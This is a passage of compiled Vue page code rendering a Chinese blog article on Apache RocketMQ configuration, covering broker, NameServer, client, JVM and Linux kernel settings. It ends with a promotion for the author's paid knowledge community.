"),s("td",[t._v("本 broker 所属的 Cluser 名称")])]),t._v(" "),s("tr",[s("td",[t._v("brokerId")]),t._v(" "),s("td",[t._v("0")]),t._v(" "),s("td",[t._v("broker id, 0 表示 master, 其他的正整数表示 slave")])]),t._v(" "),s("tr",[s("td",[t._v("storePathRootDir")]),t._v(" "),s("td",[t._v("$HOME/store/")]),t._v(" "),s("td",[t._v("存储根路径")])]),t._v(" "),s("tr",[s("td",[t._v("storePathCommitLog")]),t._v(" "),s("td",[t._v("$HOME/store/commitlog/")]),t._v(" "),s("td",[t._v("存储 commit log 的路径")])]),t._v(" "),s("tr",[s("td",[t._v("mappedFileSizeCommitLog")]),t._v(" "),s("td",[t._v("1024 * 1024 * 1024(1G)")]),t._v(" "),s("td",[t._v("commit log 的映射文件大小")])]),t._v(" "),s("tr",[s("td",[t._v("deleteWhen")]),t._v(" "),s("td",[t._v("04")]),t._v(" "),s("td",[t._v("在每天的什么时间删除已经超过文件保留时间的 commit log")])]),t._v(" "),s("tr",[s("td",[t._v("fileReservedTime")]),t._v(" "),s("td",[t._v("72")]),t._v(" "),s("td",[t._v("以小时计算的文件保留时间")])]),t._v(" "),s("tr",[s("td",[t._v("brokerRole")]),t._v(" "),s("td",[t._v("ASYNC_MASTER")]),t._v(" "),s("td",[t._v("SYNC_MASTER/ASYNC_MASTER/SLAVE")])]),t._v(" "),s("tr",[s("td",[t._v("flushDiskType")]),t._v(" "),s("td",[t._v("ASYNC_FLUSH")]),t._v(" "),s("td",[t._v("SYNC_FLUSH/ASYNC_FLUSH SYNC_FLUSH 模式下的 broker 保证在收到确认生产者之前将消息刷盘。ASYNC_FLUSH 模式下的 broker 则利用刷盘一组消息的模式,可以取得更好的性能。")])])])]),t._v(" "),s("h3",{attrs:{id:"nameserver"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#nameserver"}},[t._v("#")]),t._v(" NameServer")]),t._v(" "),s("p",[t._v("RocketMQ 中,Name Servers 被设计用来做简单的路由管理。其职责包括:")]),t._v(" "),s("ul",[s("li",[t._v("Brokers 定期向每个名称服务器注册路由数据。")]),t._v(" "),s("li",[t._v("名称服务器为客户端,包括生产者,消费者和命令行客户端提供最新的路由信息。")])]),t._v(" "),s("h3",{attrs:{id:"客户端配置"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#客户端配置"}},[t._v("#")]),t._v(" 客户端配置")]),t._v(" "),s("p",[t._v("相对于RocketMQ的Broker集群,生产者和消费者都是客户端。本小节主要描述生产者和消费者公共的行为配置。")]),t._v(" "),s("h4",{attrs:{id:"客户端寻址方式"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#客户端寻址方式"}},[t._v("#")]),t._v(" 客户端寻址方式")]),t._v(" "),s("p",[t._v("RocketMQ可以令客户端找到Name Server, 然后通过Name Server再找到Broker。如下所示有多种配置方式,优先级由高到低,高优先级会覆盖低优先级。")]),t._v(" "),s("ul",[s("li",[t._v("代码中指定Name Server地址,多个namesrv地址之间用分号分割")])]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[t._v("producer"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setNamesrvAddr")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"192.168.0.1:9876;192.168.0.2:9876"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" \nconsumer"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setNamesrvAddr")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"192.168.0.1:9876;192.168.0.2:9876"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("ul",[s("li",[t._v("Java启动参数中指定Name Server地址")])]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-Drocketmq.namesrv.addr")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".0.1:9876"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".0.2:9876 \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("ul",[s("li",[t._v("环境变量指定Name Server地址")])]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token builtin class-name"}},[t._v("export")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token assign-left variable"}},[t._v("NAMESRV_ADDR")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".0.1:9876"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".0.2:9876 \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("ul",[s("li",[t._v("HTTP静态服务器寻址(默认)")])]),t._v(" "),s("p",[t._v("客户端启动后,会定时访问一个静态HTTP服务器,地址如下:"),s("a",{attrs:{href:"http://jmenv.tbsite.net:8080/rocketmq/nsaddr",target:"_blank",rel:"noopener noreferrer"}},[t._v("http://jmenv.tbsite.net:8080/rocketmq/nsaddr"),s("OutboundLink")],1),t._v(",这个URL的返回内容如下:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".0.1:9876"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("192.168")]),t._v(".0.2:9876 \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("客户端默认每隔2分钟访问一次这个HTTP服务器,并更新本地的Name Server地址。URL已经在代码中硬编码,可通过修改/etc/hosts文件来改变要访问的服务器,例如在/etc/hosts增加如下配置:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token number"}},[t._v("10.232")]),t._v(".22.67 jmenv.tbsite.net \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("推荐使用HTTP静态服务器寻址方式,好处是客户端部署简单,且Name Server集群可以热升级。")]),t._v(" "),s("h4",{attrs:{id:"客户端配置-2"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#客户端配置-2"}},[t._v("#")]),t._v(" 客户端配置")]),t._v(" "),s("p",[t._v('DefaultMQProducer、TransactionMQProducer、DefaultMQPushConsumer、DefaultMQPullConsumer都继承于ClientConfig类,ClientConfig为客户端的公共配置类。客户端的配置都是get、set形式,每个参数都可以用spring来配置,也可以在代码中配置,例如namesrvAddr这个参数可以这样配置,producer.setNamesrvAddr("192.168.0.1:9876"),其他参数同理。')]),t._v(" "),s("p",[s("strong",[t._v("客户端的公共配置")])]),t._v(" "),s("table",[s("thead",[s("tr",[s("th",[t._v("参数名")]),t._v(" "),s("th",[t._v("默认值")]),t._v(" "),s("th",[t._v("说明")])])]),t._v(" "),s("tbody",[s("tr",[s("td",[t._v("namesrvAddr")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("Name Server地址列表,多个NameServer地址用分号隔开")])]),t._v(" "),s("tr",[s("td",[t._v("clientIP")]),t._v(" "),s("td",[t._v("本机IP")]),t._v(" "),s("td",[t._v("客户端本机IP地址,某些机器会发生无法识别客户端IP地址情况,需要应用在代码中强制指定")])]),t._v(" "),s("tr",[s("td",[t._v("instanceName")]),t._v(" "),s("td",[t._v("DEFAULT")]),t._v(" "),s("td",[t._v("客户端实例名称,客户端创建的多个Producer、Consumer实际是共用一个内部实例(这个实例包含网络连接、线程资源等)")])]),t._v(" "),s("tr",[s("td",[t._v("clientCallbackExecutorThreads")]),t._v(" "),s("td",[t._v("4")]),t._v(" "),s("td",[t._v("通信层异步回调线程数")])]),t._v(" "),s("tr",[s("td",[t._v("pollNameServerInteval")]),t._v(" "),s("td",[t._v("30000")]),t._v(" "),s("td",[t._v("轮询Name Server间隔时间,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("heartbeatBrokerInterval")]),t._v(" "),s("td",[t._v("30000")]),t._v(" "),s("td",[t._v("向Broker发送心跳间隔时间,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("persistConsumerOffsetInterval")]),t._v(" "),s("td",[t._v("5000")]),t._v(" "),s("td",[t._v("持久化Consumer消费进度间隔时间,单位毫秒")])])])]),t._v(" "),s("p",[s("strong",[t._v("Producer配置")])]),t._v(" "),s("table",[s("thead",[s("tr",[s("th",[t._v("参数名")]),t._v(" "),s("th",[t._v("默认值")]),t._v(" "),s("th",[t._v("说明")])])]),t._v(" "),s("tbody",[s("tr",[s("td",[t._v("producerGroup")]),t._v(" "),s("td",[t._v("DEFAULT_PRODUCER")]),t._v(" "),s("td",[t._v("Producer组名,多个Producer如果属于一个应用,发送同样的消息,则应该将它们归为同一组")])]),t._v(" "),s("tr",[s("td",[t._v("createTopicKey")]),t._v(" "),s("td",[t._v("TBW102")]),t._v(" "),s("td",[t._v("在发送消息时,自动创建服务器不存在的topic,需要指定Key,该Key可用于配置发送消息所在topic的默认路由。")])]),t._v(" "),s("tr",[s("td",[t._v("defaultTopicQueueNums")]),t._v(" "),s("td",[t._v("4")]),t._v(" "),s("td",[t._v("在发送消息,自动创建服务器不存在的topic时,默认创建的队列数")])]),t._v(" "),s("tr",[s("td",[t._v("sendMsgTimeout")]),t._v(" "),s("td",[t._v("3000")]),t._v(" "),s("td",[t._v("发送消息超时时间,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("compressMsgBodyOverHowmuch")]),t._v(" "),s("td",[t._v("4096")]),t._v(" "),s("td",[t._v("消息Body超过多大开始压缩(Consumer收到消息会自动解压缩),单位字节")])]),t._v(" "),s("tr",[s("td",[t._v("retryAnotherBrokerWhenNotStoreOK")]),t._v(" "),s("td",[t._v("FALSE")]),t._v(" "),s("td",[t._v("如果发送消息返回sendResult,但是sendStatus!=SEND_OK,是否重试发送")])]),t._v(" "),s("tr",[s("td",[t._v("retryTimesWhenSendFailed")]),t._v(" "),s("td",[t._v("2")]),t._v(" "),s("td",[t._v("如果消息发送失败,最大重试次数,该参数只对同步发送模式起作用")])]),t._v(" "),s("tr",[s("td",[t._v("maxMessageSize")]),t._v(" "),s("td",[t._v("4MB")]),t._v(" "),s("td",[t._v("客户端限制的消息大小,超过报错,同时服务端也会限制,所以需要跟服务端配合使用。")])]),t._v(" "),s("tr",[s("td",[t._v("transactionCheckListener")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("事务消息回查监听器,如果发送事务消息,必须设置")])]),t._v(" "),s("tr",[s("td",[t._v("checkThreadPoolMinSize")]),t._v(" "),s("td",[t._v("1")]),t._v(" "),s("td",[t._v("Broker回查Producer事务状态时,线程池最小线程数")])]),t._v(" "),s("tr",[s("td",[t._v("checkThreadPoolMaxSize")]),t._v(" "),s("td",[t._v("1")]),t._v(" "),s("td",[t._v("Broker回查Producer事务状态时,线程池最大线程数")])]),t._v(" "),s("tr",[s("td",[t._v("checkRequestHoldMax")]),t._v(" "),s("td",[t._v("2000")]),t._v(" "),s("td",[t._v("Broker回查Producer事务状态时,Producer本地缓冲请求队列大小")])]),t._v(" "),s("tr",[s("td",[t._v("RPCHook")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("该参数是在Producer创建时传入的,包含消息发送前的预处理和消息响应后的处理两个接口,用户可以在第一个接口中做一些安全控制或者其他操作。")])])])]),t._v(" "),s("p",[s("strong",[t._v("PushConsumer配置")])]),t._v(" "),s("table",[s("thead",[s("tr",[s("th",[t._v("参数名")]),t._v(" "),s("th",[t._v("默认值")]),t._v(" "),s("th",[t._v("说明")])])]),t._v(" "),s("tbody",[s("tr",[s("td",[t._v("consumerGroup")]),t._v(" "),s("td",[t._v("DEFAULT_CONSUMER")]),t._v(" "),s("td",[t._v("Consumer组名,多个Consumer如果属于一个应用,订阅同样的消息,且消费逻辑一致,则应该将它们归为同一组")])]),t._v(" "),s("tr",[s("td",[t._v("messageModel")]),t._v(" "),s("td",[t._v("CLUSTERING")]),t._v(" "),s("td",[t._v("消费模型支持集群消费和广播消费两种")])]),t._v(" "),s("tr",[s("td",[t._v("consumeFromWhere")]),t._v(" "),s("td",[t._v("CONSUME_FROM_LAST_OFFSET")]),t._v(" "),s("td",[t._v("Consumer启动后,默认从上次消费的位置开始消费,这包含两种情况:一种是上次消费的位置未过期,则消费从上次中止的位置进行;一种是上次消费位置已经过期,则从当前队列第一条消息开始消费")])]),t._v(" "),s("tr",[s("td",[t._v("consumeTimestamp")]),t._v(" "),s("td",[t._v("半个小时前")]),t._v(" "),s("td",[t._v("只有当consumeFromWhere值为CONSUME_FROM_TIMESTAMP时才起作用。")])]),t._v(" "),s("tr",[s("td",[t._v("allocateMessageQueueStrategy")]),t._v(" "),s("td",[t._v("AllocateMessageQueueAveragely")]),t._v(" "),s("td",[t._v("Rebalance算法实现策略")])]),t._v(" "),s("tr",[s("td",[t._v("subscription")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("订阅关系")])]),t._v(" "),s("tr",[s("td",[t._v("messageListener")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("消息监听器")])]),t._v(" "),s("tr",[s("td",[t._v("offsetStore")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("消费进度存储")])]),t._v(" "),s("tr",[s("td",[t._v("consumeThreadMin")]),t._v(" "),s("td",[t._v("20")]),t._v(" "),s("td",[t._v("消费线程池最小线程数")])]),t._v(" "),s("tr",[s("td",[t._v("consumeThreadMax")]),t._v(" "),s("td",[t._v("20")]),t._v(" "),s("td",[t._v("消费线程池最大线程数")])]),t._v(" "),s("tr",[s("td",[t._v("consumeConcurrentlyMaxSpan")]),t._v(" "),s("td",[t._v("2000")]),t._v(" "),s("td",[t._v("单队列并行消费允许的最大跨度")])]),t._v(" "),s("tr",[s("td",[t._v("pullThresholdForQueue")]),t._v(" "),s("td",[t._v("1000")]),t._v(" "),s("td",[t._v("拉消息本地队列缓存消息最大数")])]),t._v(" "),s("tr",[s("td",[t._v("pullInterval")]),t._v(" "),s("td",[t._v("0")]),t._v(" "),s("td",[t._v("拉消息间隔,由于是长轮询,所以为0,但是如果应用为了流控,也可以设置大于0的值,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("consumeMessageBatchMaxSize")]),t._v(" "),s("td",[t._v("1")]),t._v(" "),s("td",[t._v("批量消费,一次消费多少条消息")])]),t._v(" "),s("tr",[s("td",[t._v("pullBatchSize")]),t._v(" "),s("td",[t._v("32")]),t._v(" "),s("td",[t._v("批量拉消息,一次最多拉多少条")])])])]),t._v(" "),s("p",[s("strong",[t._v("PullConsumer配置")])]),t._v(" "),s("table",[s("thead",[s("tr",[s("th",[t._v("参数名")]),t._v(" "),s("th",[t._v("默认值")]),t._v(" "),s("th",[t._v("说明")])])]),t._v(" "),s("tbody",[s("tr",[s("td",[t._v("consumerGroup")]),t._v(" "),s("td",[t._v("DEFAULT_CONSUMER")]),t._v(" "),s("td",[t._v("Consumer组名,多个Consumer如果属于一个应用,订阅同样的消息,且消费逻辑一致,则应该将它们归为同一组")])]),t._v(" "),s("tr",[s("td",[t._v("brokerSuspendMaxTimeMillis")]),t._v(" "),s("td",[t._v("20000")]),t._v(" "),s("td",[t._v("长轮询,Consumer拉消息请求在Broker挂起最长时间,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("consumerTimeoutMillisWhenSuspend")]),t._v(" "),s("td",[t._v("30000")]),t._v(" "),s("td",[t._v("长轮询,Consumer拉消息请求在Broker挂起超过指定时间,客户端认为超时,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("consumerPullTimeoutMillis")]),t._v(" "),s("td",[t._v("10000")]),t._v(" "),s("td",[t._v("非长轮询,拉消息超时时间,单位毫秒")])]),t._v(" "),s("tr",[s("td",[t._v("messageModel")]),t._v(" "),s("td",[t._v("BROADCASTING")]),t._v(" "),s("td",[t._v("消息支持两种模式:集群消费和广播消费")])]),t._v(" "),s("tr",[s("td",[t._v("messageQueueListener")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("监听队列变化")])]),t._v(" "),s("tr",[s("td",[t._v("offsetStore")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("消费进度存储")])]),t._v(" "),s("tr",[s("td",[t._v("registerTopics")]),t._v(" "),s("td"),t._v(" "),s("td",[t._v("注册的topic集合")])]),t._v(" "),s("tr",[s("td",[t._v("allocateMessageQueueStrategy")]),t._v(" "),s("td",[t._v("AllocateMessageQueueAveragely")]),t._v(" "),s("td",[t._v("Rebalance算法实现策略")])])])]),t._v(" "),s("p",[s("strong",[t._v("Message数据结构")])]),t._v(" "),s("table",[s("thead",[s("tr",[s("th",[t._v("字段名")]),t._v(" "),s("th",[t._v("默认值")]),t._v(" "),s("th",[t._v("说明")])])]),t._v(" "),s("tbody",[s("tr",[s("td",[t._v("Topic")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("必填,消息所属topic的名称")])]),t._v(" "),s("tr",[s("td",[t._v("Body")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("必填,消息体")])]),t._v(" "),s("tr",[s("td",[t._v("Tags")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("选填,消息标签,方便服务器过滤使用。目前只支持每个消息设置一个tag")])]),t._v(" "),s("tr",[s("td",[t._v("Keys")]),t._v(" "),s("td",[t._v("null")]),t._v(" "),s("td",[t._v("选填,代表这条消息的业务关键词,服务器会根据keys创建哈希索引,设置后,可以在Console系统根据Topic、Keys来查询消息,由于是哈希索引,请尽可能保证key唯一,例如订单号,商品Id等。")])]),t._v(" "),s("tr",[s("td",[t._v("Flag")]),t._v(" "),s("td",[t._v("0")]),t._v(" "),s("td",[t._v("选填,完全由应用来设置,RocketMQ不做干预")])]),t._v(" "),s("tr",[s("td",[t._v("DelayTimeLevel")]),t._v(" "),s("td",[t._v("0")]),t._v(" "),s("td",[t._v("选填,消息延时级别,0表示不延时,大于0会延时特定的时间才会被消费")])]),t._v(" "),s("tr",[s("td",[t._v("WaitStoreMsgOK")]),t._v(" "),s("td",[t._v("TRUE")]),t._v(" "),s("td",[t._v("选填,表示消息是否在服务器落盘后才返回应答。")])])])]),t._v(" "),s("h3",{attrs:{id:"系统配置"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#系统配置"}},[t._v("#")]),t._v(" 系统配置")]),t._v(" "),s("p",[t._v("本小节主要介绍系统(JVM/OS)相关的配置。")]),t._v(" "),s("h4",{attrs:{id:"jvm选项"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#jvm选项"}},[t._v("#")]),t._v(" JVM选项")]),t._v(" "),s("p",[t._v("推荐使用最新发布的JDK 1.8版本。通过设置相同的Xms和Xmx值来防止JVM调整堆大小以获得更好的性能。简单的JVM配置如下所示:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-server")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-Xms8g")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-Xmx8g")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-Xmn4g")]),t._v(" \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("如果您不关心RocketMQ Broker的启动时间,还有一种更好的选择,就是通过“预触摸”Java堆以确保在JVM初始化期间每个页面都将被分配。那些不关心启动时间的人可以启用它:")]),t._v(" "),s("p",[t._v("-XX:+AlwaysPreTouch")]),t._v(" "),s("p",[t._v("禁用偏置锁定可能会减少JVM暂停。")]),t._v(" "),s("p",[t._v("-XX:-UseBiasedLocking")]),t._v(" "),s("p",[t._v("至于垃圾回收,建议使用带JDK 1.8的G1收集器。")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:+UseG1GC")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:G1HeapRegionSize")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("16m \n"),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:G1ReservePercent")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("25")]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:InitiatingHeapOccupancyPercent")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("30")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("这些GC选项看起来有点激进,但事实证明它在我们的生产环境中具有良好的性能。另外不要把-XX:MaxGCPauseMillis的值设置太小,否则JVM将使用一个小的年轻代来实现这个目标,这将导致非常频繁的minor GC,所以建议使用rolling GC日志文件:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:+UseGCLogFileRotation")]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:NumberOfGCLogFiles")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("5")]),t._v(" \n"),s("span",{pre:!0,attrs:{class:"token parameter variable"}},[t._v("-XX:GCLogFileSize")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("30m\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("如果写入GC文件会增加代理的延迟,可以考虑将GC日志文件重定向到内存文件系统:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("-Xloggc:/dev/shm/mq_gc_%p.log123 \n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("h4",{attrs:{id:"linux内核参数"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#linux内核参数"}},[t._v("#")]),t._v(" Linux内核参数")]),t._v(" "),s("p",[t._v("os.sh脚本在bin文件夹中列出了许多内核参数,可以进行微小的更改然后用于生产用途。下面的参数需要注意,更多细节请参考/proc/sys/vm/*的"),s("a",{attrs:{href:"https://www.kernel.org/doc/Documentation/sysctl/vm.txt",target:"_blank",rel:"noopener noreferrer"}},[t._v("文档"),s("OutboundLink")],1)]),t._v(" "),s("ul",[s("li",[s("strong",[t._v("vm.extra_free_kbytes")]),t._v(",告诉VM在后台回收(kswapd)启动的阈值与直接回收(通过分配进程)的阈值之间保留额外的可用内存。RocketMQ使用此参数来避免内存分配中的长延迟。(与具体内核版本相关)")]),t._v(" "),s("li",[s("strong",[t._v("vm.min_free_kbytes")]),t._v(",如果将其设置为低于1024KB,将会巧妙的将系统破坏,并且系统在高负载下容易出现死锁。")]),t._v(" "),s("li",[s("strong",[t._v("vm.max_map_count")]),t._v(",限制一个进程可能具有的最大内存映射区域数。RocketMQ将使用mmap加载CommitLog和ConsumeQueue,因此建议将为此参数设置较大的值。(agressiveness --\x3e aggressiveness)")]),t._v(" "),s("li",[s("strong",[t._v("vm.swappiness")]),t._v(",定义内核交换内存页面的积极程度。较高的值会增加攻击性,较低的值会减少交换量。建议将值设置为10来避免交换延迟。")]),t._v(" "),s("li",[s("strong",[t._v("File descriptor limits")]),t._v(",RocketMQ需要为文件(CommitLog和ConsumeQueue)和网络连接打开文件描述符。我们建议设置文件描述符的值为655350。")]),t._v(" "),s("li",[s("a",{attrs:{href:"https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Performance_Tuning_Guide/ch06s04s02.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("Disk scheduler"),s("OutboundLink")],1),t._v(",RocketMQ建议使用I/O截止时间调度器,它试图为请求提供有保证的延迟。")])]),t._v(" "),s("p",{attrs:{align:"right"}},[s("font",{attrs:{size:"1"}},[t._v("注意:本章内容大部分内容来源:https://github.com/apache/rocketmq/tree/master/docs/cn")])],1),t._v(" "),s("p",[s("strong",[t._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),t._v(" "),s("p",[s("strong",[t._v("另外,一不小心就写了20章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),t._v(" "),s("h2",{attrs:{id:"关于星球"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[t._v("#")]),t._v(" 关于星球")]),t._v(" "),s("p",[t._v("最近,冰河创建了【冰河技术】知识星球,《"),s("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),s("OutboundLink")],1),t._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),t._v(" "),s("p",[t._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),t._v(" "),s("h3",{attrs:{id:"星球提供的服务"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[t._v("#")]),t._v(" 星球提供的服务")]),t._v(" "),s("p",[t._v("冰河整理了星球提供的一些服务,如下所示。")]),t._v(" "),s("p",[t._v("加入星球,你将获得:")]),t._v(" "),s("p",[t._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),t._v(" "),s("p",[t._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),t._v(" "),s("p",[t._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),t._v(" "),s("p",[t._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),t._v(" "),s("p",[t._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),t._v(" "),s("p",[t._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),t._v(" "),s("p",[t._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),t._v(" "),s("p",[t._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),t._v(" "),s("p",[t._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),t._v(" "),s("h3",{attrs:{id:"星球门票价格"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[t._v("#")]),t._v(" 星球门票价格")]),t._v(" "),s("p",[t._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),t._v(" "),s("p",[s("strong",[t._v("特别提醒:")]),t._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),t._v(" "),s("p",[t._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),s("strong",[t._v("冰河技术")]),t._v(" 公众号回复 “ "),s("strong",[t._v("星球")]),t._v(" ” ,领取入场优惠券。")]),t._v(" 